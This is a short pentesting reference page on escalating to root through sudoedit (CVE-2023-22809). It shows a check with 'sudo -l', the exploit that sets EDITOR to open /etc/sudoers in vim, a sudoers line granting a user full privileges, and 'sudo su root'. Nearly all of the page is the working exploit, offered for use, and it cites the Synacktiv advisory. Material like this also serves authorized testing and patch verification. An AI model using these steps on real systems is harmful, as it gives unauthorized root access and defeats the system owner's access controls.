Privilege Escalation

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Sudoedit Privilege Escalation

Last modified: 2023-03-29

Privilege Escalation

Sudoedit is vulnerable to privilege escalation.

Investigation

sudo -l

(root) sudoedit /opt/example.txt

If we can execute sudoedit command as root, we might be able to escalate the privileges with some version.

Exploitation (CVE-2023-22809)

export EDITOR="vim -- /etc/sudoers"
sudoedit /opt/example.txt

In vim editor, add the following line in /etc/sudoers.
Assume the current username is “john”

john ALL=(ALL:ALL) ALL

After that, we can escalate to root privilege.

sudo su root

References

https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf

Privilege Escalation

Post Exploitation

Backup

Container

Archive

Attack

Protocol

Management

Sudoedit Privilege Escalation

Investigation

Exploitation (CVE-2023-22809)

References

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